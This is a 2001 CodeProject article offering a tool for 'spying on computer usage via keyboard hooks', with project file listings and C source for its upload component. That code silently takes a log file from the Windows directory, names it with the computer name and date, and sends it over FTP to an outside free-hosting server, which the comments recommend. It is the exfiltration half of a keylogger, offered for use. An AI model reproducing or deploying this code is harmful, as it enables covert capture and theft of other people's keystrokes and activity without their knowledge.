Click here to Skip to main content
Click here to Skip to main content
Add your own
alternative version

Spying on computer usage via keyboard hooks

, 22 Sep 2001
This program can be used to find out how your computer is being used while you are away.
usagefinder.zip
Finding Usage
Section 1
ddd.dsp
ddd.dsw
Section 2
Servpost.dsp
Servpost.dsw
Section3
instks.dsp
instks.dsw
Section4
change.dsp
change.dsw
change.ico
small.ico
////////////////////////////////////////////////////////////////////
// 	  This program is done by Hirosh Joseph from india            //
//       Email hirosh@hirosh.com	        		              //	
//       Website www.hirosh.com,www.hirosh.net,www.hirosh.org     // 
// 	  I always welcome to ur valuble comments                     // 
////////////////////////////////////////////////////////////////////
#include "stdafx.h"


// General Globals
char     szAppName[20]  = "ServPost";
DWORD    dwBinary       = FTP_TRANSFER_TYPE_BINARY;


int ftppost()
{
   HINTERNET   hInternet, hHost; // handles.
   int         i;
   char        szHost[128];
   char        szPath[MAX_PATH];
   char        szFile[MAX_PATH];
//U can create free ftp space in www.xoasis.com like websites
   lstrcpy( szHost, "ftp.xoasis.com");
   lstrcpy( szFile, "" );
   
   lstrcpy(szPath, "/"); // Use root as default path.
   // Get the path, if prepended to filename.
   for (i=strlen(szFile); i>0; --i)
   {
      if (szFile[i]=='/' || szFile[i]=='\\')
      {
         strncpy(szPath, szFile, ++i);
         szPath[i]= 0; // terminate.
         lstrcpy(szFile, szFile+i);
         break;
      }
   }
   
   hInternet = InternetOpen( szAppName, LOCAL_INTERNET_ACCESS , NULL, 0, 0 );
   if (!hInternet) 
   {  
     //MessageBox(0,"111","1",MB_OK);
      InternetCloseHandle( hInternet );
      return 1;
   }

   hHost = InternetConnect( hInternet, szHost, INTERNET_INVALID_PORT_NUMBER, 
           "Username","Password", INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE , 0);
   if (!hHost)
   {//MessageBox(0,"222","1",MB_OK);
      InternetCloseHandle( hInternet );
      return 1;
   }
 
   if (!FtpSetCurrentDirectory( hHost, szPath ))
   {
	  //MessageBox(0,"333","1",MB_OK);
      InternetCloseHandle( hInternet );
      return 1;
   }

	char b[MAX_PATH];
	strcpy(b,"");
	GetWindowsDirectory(b,MAX_PATH);
	strcat(b, "\\Servback.txt" );
	strcat(b,"\0");

	DWORD dwSize; 
	char szBuffer[MAX_COMPUTERNAME_LENGTH + 1];
	dwSize = MAX_COMPUTERNAME_LENGTH + 1;
	GetComputerName (szBuffer, &dwSize);

	SYSTEMTIME stime;
	char sdate[5];
	GetSystemTime(&stime);
	sprintf(sdate,"%d.txt",stime.wDay); 
	char fname[100];
	strcpy(fname,szBuffer);
	strcat(fname,sdate);
	strcat(fname,"\0");



	
if (!FtpPutFile( hHost, b,fname,FTP_TRANSFER_TYPE_ASCII ,0))
   {
	//MessageBox(0,"444","1",MB_OK);
      InternetCloseHandle( hInternet );
      return 1;
   }
 
  InternetCloseHandle( hHost );
   InternetCloseHandle( hInternet );

   return 0;
}

By viewing downloads associated with this article you agree to the Terms of Service and the article's licence.

If a file you wish to view isn't highlighted, and is a text file (not binary), please let us know and we'll add colourisation support for it.

License

This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.

A list of licenses authors might use can be found here

Share

About the Author

H. Joseph

United States United States
No Biography provided

| Advertise | Privacy | Terms of Use | Mobile
Web04 | 2.8.150224.1 | Last Updated 23 Sep 2001
Article Copyright 2001 by H. Joseph
Everything else Copyright © CodeProject, 1999-2015
Layout: fixed | fluid